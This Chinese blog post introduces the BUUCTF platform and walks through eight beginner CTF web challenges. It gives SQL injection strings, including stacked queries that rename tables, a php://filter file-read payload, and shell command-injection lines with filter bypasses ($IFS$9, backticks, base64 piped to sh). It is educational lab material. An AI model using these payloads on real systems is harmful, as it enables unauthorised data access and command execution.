前言

Buuctf Web 是一个在线安全挑战平台,旨在提高参与者对网络安全的理解和实践能力。本文将详细介绍 Buuctf Web 的特点、挑战和机遇,帮助读者更好地了解这一领域。

一、Buuctf Web 的特点

多样化的挑战场景:Buuctf Web 提供了多种挑战场景,包括 Web 漏洞利用、密码破解、CTF 夺旗等,涵盖了网络安全领域的各个方面。

高质量的学习资源:平台提供了丰富的学习资源,包括视频教程、文章、案例分析等,帮助参与者提高技能水平。

实时排名和互动交流:Buuctf Web 支持实时排名和互动交流功能,参与者可以在平台上与其他选手一起讨论问题、分享经验。

二、Buuctf Web 的挑战

技术难度高:网络安全领域涉及的知识面广泛,技术难度较高,需要参与者具备较高的技术水平和学习能力。

时间压力大:在 CTF 夺旗等挑战中,时间是非常宝贵的资源,需要在有限的时间内快速定位问题并找到解决方案。

需要团队协作:在某些挑战中,需要团队协作才能更好地完成任务,如何有效地分工和协作也是一大挑战。

三、Buuctf Web 的机遇

提高技能水平:通过参与 Buuctf Web 的挑战,参与者可以不断提高自己的技能水平,增强在网络安全领域的竞争力。

拓展人脉资源:在平台上与其他选手交流互动,可以结识志同道合的朋友,拓展人脉资源。
获得实践机会:Buuctf Web 的挑战场景都是基于真实场景设计的,参与者在挑战中可以获得宝贵的实践机会。

为未来的工作做好准备:对于那些希望在未来从事网络安全相关工作的参与者来说,参与 Buuctf Web 可以为他们未来的工作做好准备。通过参与 Buuctf Web 的挑战,他们可以了解行业最新的动态和技术趋势,提高自己的职业竞争力。

四、如何参与 Buuctf Web 的挑战?

注册账号:首先需要在 Buuctf Web 平台上注册一个账号。
选择挑战场景:根据自己的兴趣和需求选择相应的挑战场景。
学习相关知识:为了更好地完成挑战,需要提前学习相关知识,如 Web 安全、密码学等。
参与挑战:按照挑战的要求完成相应的任务,与其他选手竞争排名。
交流与分享:在平台上与其他选手交流经验、分享技巧,共同提高技术水平。

总结:Buuctf Web 作为一个在线安全挑战平台,为网络安全爱好者提供了一个学习和交流的平台。通过参与 Buuctf Web 的挑战,不仅可以提高自己的技能水平,还可以拓展人脉资源、了解行业动态并为未来的工作做好准备。希望本文的介绍能帮助读者更好地了解 Buuctf Web 的特点、挑战和机遇,为未来的发展做好准备。

一、[极客大挑战 2019] EasySQL

点击链接进入靶场

登录页面,查看页面源代码发现没留注释

先输入 admin' or 1=1# 提交看看(根据题意猜测考察的 SQL 注入) 

显示 Flag 

二、[极客大挑战 2019] Havefun

打开靶场

页面只有一只猫,打开 F12 检查源代码

可以发现有段注释

<!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

含义为如果参数名 cat = dog 值,则输出 flag

在 URL 后面手动构造参数:/?cat=dog 

三、[HCTF 2018] WarmUp

打开靶场

页面只有一个猥琐笑脸,F12 查看源代码发现有注释

URL 访问这个 PHP 文件

这里就考验的是代码审计了(大概过一下就行,看重点),观察代码可以发现有个 hint.php,尝试访问一下

提示了 Flag 文件地址,继续 URL 访问

根据 ffffllllaaaagggg 推测出大概路径 

四、[ACTF2020 新生赛] Include

打开靶场

先 F12 检查源代码

发现只有超链接,点击跳转

并没有任何提示,根据题目文件猜测考察的是文件包含

flag 就藏在 flag.php 文件中,所以推测采用的是 PHP 伪协议:php://filter -- 对本地磁盘文件进行读写

构造 payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php
# (base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码)

拿到字符串进行解码操作 

成功拿到 flag 

五、[ACTF2020 新生赛] Exec

打开靶场

先 F12 检查源代码并没有发现注释

给出提示 Ping 应该是要咱们输入地址然后 Ping,这里输入回环地址试试 

猜测存在漏洞,输入 | ls 测试

127.0.0.1 | ls

显示文件 index.php,证明存在漏洞 

继续测试上级目录

127.0.0.1 | ls /

发现 flag,查看内容

127.0.0.1 | cat /flag

六、[GXYCTF2019] Ping Ping Ping 

打开靶场

F12 检查源代码没有发现注释

根据网页内容和题目名推测是让咱在 URL 路径上跟上参数然后执行 Ping 命令,这里先跟个 127.0.0.1 试试

/?ip=127.0.0.1

有回显,推测存在漏洞

输入 | ls 测试

?ip=127.0.0.1 | ls

发现被过滤,不加空格试试 

?ip=127.0.0.1|ls

发现 flag.php 文件 

因为过滤了空格,所以要绕过一下(过滤了大多数符号,查看 index.php 文件即可) 

?ip=127.0.0.1|cat$IFS$9index.php

# $IFS是一个环境变量,用于设置shell中的字段分隔符。在这里,它被用作特殊字符
# $9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串

发现很多都过滤了,但仍能绕过

方法一:利用变量代替关键字

/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

方法二: 内联执行

先执行 ls 命令,再执行 cat

/?ip=127.0.0.1;cat$IFS$9`ls`

方法三:编码绕过

使用 base64 编码的方式来绕过 flag 过滤

/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh

七、[SUCTF 2019] EasySQL 

启动靶场

F12 检查源代码

输入 flag 测试

再输入数字型 1 测试

有回显,判断存在注入点,输入 1' 测试

没有回显,得盲注了,输入 1 # 测试

能显示正常结果,说明过滤做过滤,且能推测出数据库使用的是 MySQL(还可以输入 connection_id() 判断,结果与 1 是一致的) 

输入 1,1 测试

再输入 2,1 测试

再输入 2,2 测试发现结果不变,说明第一个字段值影响结果

输入 *,1 测试找到 flag

八、[强网杯 2019] 随便注

打开靶场

给出了一个默认值 1,先提交看看

输入 1' 测试是否为注入点

输入

1' or 1=1 #

继续测试字段数

1' order by 1 # 

测试到 3 时报错,说明只有两个字段

直接堆叠注入爆破数据库

0';show databases;#

继续爆表

1';show tables;#

先爆破数字表(一看就不简单)

1';show columns from `1919810931114514 `;#

发现 flag 列,但是查询时发现 select 被过滤

再查看另一张表

1’;show columns from words;#

将words表名改为words1,再将数字表名改为words,这样查询语句就会查询数字表名,我们再将flag字段名改为id字段或者直接添加id字段,就可以达到使用原先代码中的查询语句对flag中的内容进行查询 

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

最后输入万能密码 1' or 1=1 #

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐